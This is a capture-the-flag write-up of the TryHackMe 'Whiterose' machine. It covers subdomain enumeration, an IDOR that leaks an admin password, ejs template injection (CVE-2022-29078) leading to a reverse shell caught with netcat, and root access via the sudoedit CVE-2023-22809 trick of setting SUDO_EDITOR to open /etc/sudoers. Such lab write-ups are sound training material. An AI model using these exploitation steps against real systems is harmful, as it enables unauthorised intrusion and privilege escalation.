Post

TryHackMe: Whiterose

Whiterose is a easy-rated TryHackMe machine where we first start by discovering a subdomain, using provided credentials we were able to log in into the web application, discovering an IDOR vulnerable endpoint granted us an administrator credentials from there we leveraged a vulnerable JavaScript templating engine, ejs, to SSTI (Server Side Template Injection) to gain initial foothold into the machine, once in, we discovered a sudo permission that allowed us to escalate privileges and gain root access.


Enumeration

Nmap Scan

Starting with nmap as always on 10.10.107.216

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/whiterose]
└─$ nmap -sC -sV 10.10.107.216 -T4 -oN nmap.out 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-01 18:25 CET
Warning: 10.10.107.216 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.107.216
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b9:07:96:0d:c4:b6:0c:d6:22:1a:e4:6c:8e:ac:6f:7d (RSA)
|   256 ba:ff:92:3e:0f:03:7e:da:30:ca:e3:52:8d:47:d9:6c (ECDSA)
|_  256 5d:e4:14:39:ca:06:17:47:93:53:86:de:2b:77:09:7d (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.43 seconds

Looking at the results we have 2 ports open

  • 22/SSH OpenSSH - open
  • 80/HTTP Nginx 1.40.0 - open

Web Server - 80

Taking a look at http://10.10.107.216/ we get redirected to http://cyprusbank.thm/, adding that to our /etc/hosts.

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       voldemort
10.10.107.216    cyprusbank.thm

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Going to http://cyprusbank.thm/ we get a web site that is, from what it seems, under maintenance.

As we have a domain name, which is a bit odd for tryhackme rooms, we decided to enumerate subdomains using ffuf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/whiterose]
└─$ ffuf -u http://cyprusbank.thm/ -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -H "Host: FUZZ.cyprusbank.thm" -fs 57

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cyprusbank.thm/
 :: Wordlist         : FUZZ: /usr/share/wordlists/amass/subdomains-top1mil-5000.txt
 :: Header           : Host: FUZZ.cyprusbank.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 57
________________________________________________

www                     [Status: 200, Size: 252, Words: 19, Lines: 9, Duration: 507ms]
admin                   [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 589ms]
WWW                     [Status: 200, Size: 252, Words: 19, Lines: 9, Duration: 118ms]
:: Progress: [5000/5000] :: Job [1/1] :: 246 req/sec :: Duration: [0:00:25] :: Errors: 0 ::

Letting ffuf run for a while will get us some subdomains, www and admin adding that to our /etc/hosts.

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       voldemort
10.10.107.216    cyprusbank.thm www.cyprusbank.thm admin.cyprusbank.thm

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Looking at http://admin.cyprusbank.thm we get a login form.

Screenshot

With the credentials we were given in the room task, Olivia Cortez:olivi8, we tried logging in and we succeded!

Screenshot

Exploitation

Retrieving Phone Number

Once logged in, we saw that the phone numbers were hidden and cannot be viewed so we started looking for a way and enumerate the web app. Trying the links in the nav bar we got something interesting, visiting Messages will get us a chat where we can see old messages, taking a closer look at the url, http://admin.cyprusbank.thm/messages/?c=5, we see a GET parameter being passed which might be vulnerable to an IDOR.

Screenshot

Changing the value of the c parameter to 0, (http://admin.cyprusbank.thm/messages/?c=0), will get us some older messages.

Screenshot

From the messages, we can see that Gayle Bev is an administrator and we got his password. Trying logging in as Gayle we got in and we were able to retrieve Tyrell Wellick’s phone number.

Screenshot

Initial Foothold - Web

As user Olivia we were not able to access the Settings endpoint but now we can, as Gayle, which mean that this is the right way to go.

So apparently we are given a way to change customers password which isn’t very helpful, catching the request using Burpsuite and trying to manipulate the request being sent after a password change we got something.

Screenshot

Removing the password parameter did catch an error for us, a ReferenceError which led to a leak of a portion of the source code, next thing we tried was a parameter fuzzing and we got a few of them.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/whiterose]
└─$ ffuf -request req2.ffuf -request-proto http -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 1561 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://admin.cyprusbank.thm/settings
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Origin: http://admin.cyprusbank.thm
 :: Header           : Referer: http://admin.cyprusbank.thm/settings
 :: Header           : Host: admin.cyprusbank.thm
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 :: Header           : Accept-Language: en-US,en;q=0.5
 :: Header           : Connection: keep-alive
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Cookie: connect.sid=s%3Ao4Gp1-6xiW42LbiT9RXXXoQW58gVeHYx.caVJHp3wrSD8STuac16wJoQRlvgkklrkBRQX9gnI5UI
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Data             : name=test&FUZZ=test
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 1561
________________________________________________

client                  [Status: 500, Size: 1399, Words: 80, Lines: 11, Duration: 153ms]
delimiter               [Status: 200, Size: 1445, Words: 327, Lines: 35, Duration: 144ms]
error                   [Status: 200, Size: 1566, Words: 298, Lines: 51, Duration: 79ms]
include                 [Status: 500, Size: 1388, Words: 80, Lines: 11, Duration: 104ms]
message                 [Status: 200, Size: 1566, Words: 298, Lines: 51, Duration: 95ms]
password                [Status: 200, Size: 1566, Words: 298, Lines: 51, Duration: 325ms]
strict                  [Status: 500, Size: 2301, Words: 161, Lines: 11, Duration: 105ms]
:: Progress: [6453/6453] :: Job [1/1] :: 254 req/sec :: Duration: [0:00:25] :: Errors: 0 ::

Using another wordlist leaked another parameter, async.

The source code of the page didn’t help much so we looked into the errors we’re getting and we figured out that the web app is utilizing ejs as a templating engine. The use of ejs in this application, combined with certain configuration details, suggests a possible Server-Side Template Injection (SSTI) vulnerability. When parameters from the request body are passed to the render function without strict control, ejs options like client and async can potentially be manipulated. Testing reveals that setting client triggers an error, while async produces an empty object {}, hinting that these options may indeed be accessible.

To further verify, the delimiter option can be adjusted to an uncommon character to check for unintended template exposure. Successfully changing this delimiter confirms that template data can be leaked, solidifying the SSTI suspicion.

Normally, ejs restricts the options that can accompany the data argument. However, with the CVE-2022-29078 vulnerability, it’s possible to bypass these restrictions by injecting options through settings['view options']. This allows unrestricted access to certain ejs options, such as outputFunctionName, enabling code injection directly into the template structure.

Exploiting the vulnerability will lead to a reverse shell and initial access into the machine.

Screenshot

Setting a netcat listener will catch the reverse shell for us!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/whiterose]
└─$ nc -lnvp 9001 
listening on [any] 9001 ...
connect to [10.9.4.167] from (UNKNOWN) [10.10.107.216] 41764
ls
components
index.js
node_modules
package-lock.json
package.json
routes
static
views
python3 -c "import pty;pty.spawn('/bin/bash')"
web@cyprusbank:~/app$ export TERM=xterm
export TERM=xterm
web@cyprusbank:~/app$ ^Z
zsh: suspended  nc -lnvp 9001
                                                                                                                    
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/whiterose]
└─$ stty -a                  
speed 38400 baud; rows 30; columns 116; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q;
stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc
                                                                                                                    
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/whiterose]
└─$ stty raw -echo; fg
[1]  + continued  nc -lnvp 9001

web@cyprusbank:~/app$ stty rows 30 cols 116
web@cyprusbank:~/app$ cd ..
web@cyprusbank:~$ ls
app  user.txt
web@cyprusbank:~$

Privilege Escalation - Root

Once in, we start looking for any priv esc vectors and we found one in the sudo permissions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
web@cyprusbank:~$ sudo -l
Matching Defaults entries for web on cyprusbank:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
    XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User web may run the following commands on cyprusbank:
    (root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
web@cyprusbank:~$ sudo --version
Sudo version 1.9.12p1
Sudoers policy plugin version 1.9.12p1
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.12p1
Sudoers audit plugin version 1.9.12p1
web@cyprusbank:~$ 

Seeing sudoedit and a sudo version of 1.9.12p1 was enough to say that this is the way as that version is vulnerable to CVE-2023-22809. Looking through the internet we found this interesting blog post.

Basically, the sudoedit command allows users to specify their preferred text editor through environment variables like SUDO_EDITOR, EDITOR, or VISUAL. These variables can include not only the editor’s name but also additional arguments to control its behavior. To safely parse these values, sudo uses a -- delimiter, which helps separate editor commands and arguments from the file paths specified for editing.

By leveraging this -- delimiter in the editor environment variable, it’s possible to trick sudoedit into opening files outside the intended permissions since sudoedit runs with root privileges.

Taking advantage of that, we started by setting the SUDO_EDITOR environment variable to nano -- /etc/sudoers and then we executed the command and got access to /etc/sudoers

1
2
web@cyprusbank:~$ export SUDO_EDITOR='nano -- /etc/sudoers'
web@cyprusbank:~$ sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm

Once executed, we get the /etc/sudoers file in edit mode.

1
2
3
4
5
6
7
8
9
10
##
## User privilege specification
##
root ALL=(ALL:ALL) ALL
web ALL=(ALL:ALL) NOPASSWD: ALL
## Uncomment to allow members of group wheel to execute any command
# %wheel ALL=(ALL:ALL) ALL

## Same thing without a password
# %wheel ALL=(ALL:ALL) NOPASSWD: ALL

Saving the file and taking a look again at our sudo permission we can see that we can execute any command using sudo without needing a password.

1
2
3
4
5
6
7
8
9
web@cyprusbank:~$ sudo -l
Matching Defaults entries for web on cyprusbank:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
    XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User web may run the following commands on cyprusbank:
    (ALL : ALL) NOPASSWD: ALL
    (root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm

Switching to root using sudo su will get us a root shell and the root flag!

1
2
3
4
5
web@cyprusbank:~$ sudo su
root@cyprusbank:/home/web# cd /root
root@cyprusbank:~# ls
clean.sh  root.txt
root@cyprusbank:~# 

And voila! we successfully rooted the room!

This post is licensed under CC BY 4.0 by the author.